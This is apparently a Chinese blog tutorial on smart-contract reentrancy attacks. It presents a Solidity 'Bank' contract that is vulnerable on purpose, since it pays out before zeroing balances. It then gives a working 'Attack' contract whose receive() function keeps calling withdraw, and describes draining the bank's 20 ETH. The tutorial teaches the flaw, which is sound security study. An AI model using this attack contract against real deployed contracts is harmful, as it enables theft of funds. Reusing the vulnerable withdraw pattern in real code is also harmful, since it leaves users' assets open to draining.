重入攻击
重入攻击是智能合约中最常见的一种攻击,攻击者通过合约漏洞(例如fallback
函数)循环调用合约,将合约中资产转走或铸造大量代币。
重入攻击举例
与web2.0
中的重放攻击导致的逻辑漏洞类似,当用户向合约提现时,正常情况如下
用户向合约发起请求提现
合约检测该用户是否有足够的余额,有的话进行转账
转账成功,用户余额置为0
相信大家已经看出问题了:转账后才将用户的余额置为0,如果我们能做到像web2.0
一样在短时间内不断的发包,在置为0前不断的触发转账函数即可做到将大量的钱转走。因此,我们可以写一个恶意合约来完成我们的设想
思路
用户发起提现请求
合约检测用户余额,向用户提供的提现地址转账
通过向恶意合约转账。触发恶意
fallback()/recevie()
函数,该函数的内容为请求合约向合约转账。就此,陷入转账的循环,却一直没有到将用户余额置0的那行
/* 那个函数被调用了? 是 fallback() 还是 receive()?
send Ether | msg.data 是否为空? / \ 是 否 / \receive() 存在? fallback() / \ 是 否 / \ receive() fallback() */
实例
预备阶段
bank
合约
contract Bank { mapping (address => uint256) public balanceOf; // 余额mapping
// 存入ether,并更新余额 function deposit() external payable { balanceOf[msg.sender] += msg.value; }
// 提取msg.sender的全部ether function withdraw() external { uint256 balance = balanceOf[msg.sender]; // 获取余额 require(balance > 0, "Insufficient balance"); // 转账 ether !!! 可能激活恶意合约的fallback/receive函数,有重入风险! (bool success, ) = msg.sender.call{value: balance}(""); require(success, "Failed to send Ether"); // 更新余额 balanceOf[msg.sender] = 0; }
// 获取银行合约的余额 function getBalance() external view returns (uint256) { return address(this).balance; }
往银行先转个20eth
部署Attack合约
contract Attack { Bank public bank; // Bank合约地址 // 初始化Bank合约地址 constructor(Bank _bank) { bank = _bank; } // 回调函数,用于重入攻击Bank合约,反复的调用目标的withdraw函数 receive() external payable { if (bank.getBalance() >= 1 ether) { bank.withdraw(); } } // 攻击函数,调用时 msg.value 设为 1 ether function attack() external payable { require(msg.value == 2 ether, "Require 1 Ether to attack"); bank.deposit{value: 2 ether}(); bank.withdraw(); } // 获取本合约的余额 function getBalance() external view returns (uint256) { return address(this).balance; }}
开始攻击
因为Attack
合约中,构造函数已经初始化了Bank
,因此,直接传入Bank
地址创建该Attack
合约
目前该Attack
合约没有钱,调用attack
方法的时候记得转2eth
过去
调用attack
方法后,Attack
合约余额变为了22eth
,banck
余额为0
免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。
本文是原创文章,采用 CC BY-NC-ND 4.0 协议,完整转载请注明来自 程序员小航
评论
匿名评论
隐私政策
你无需删除空行,直接评论以获取最佳展示效果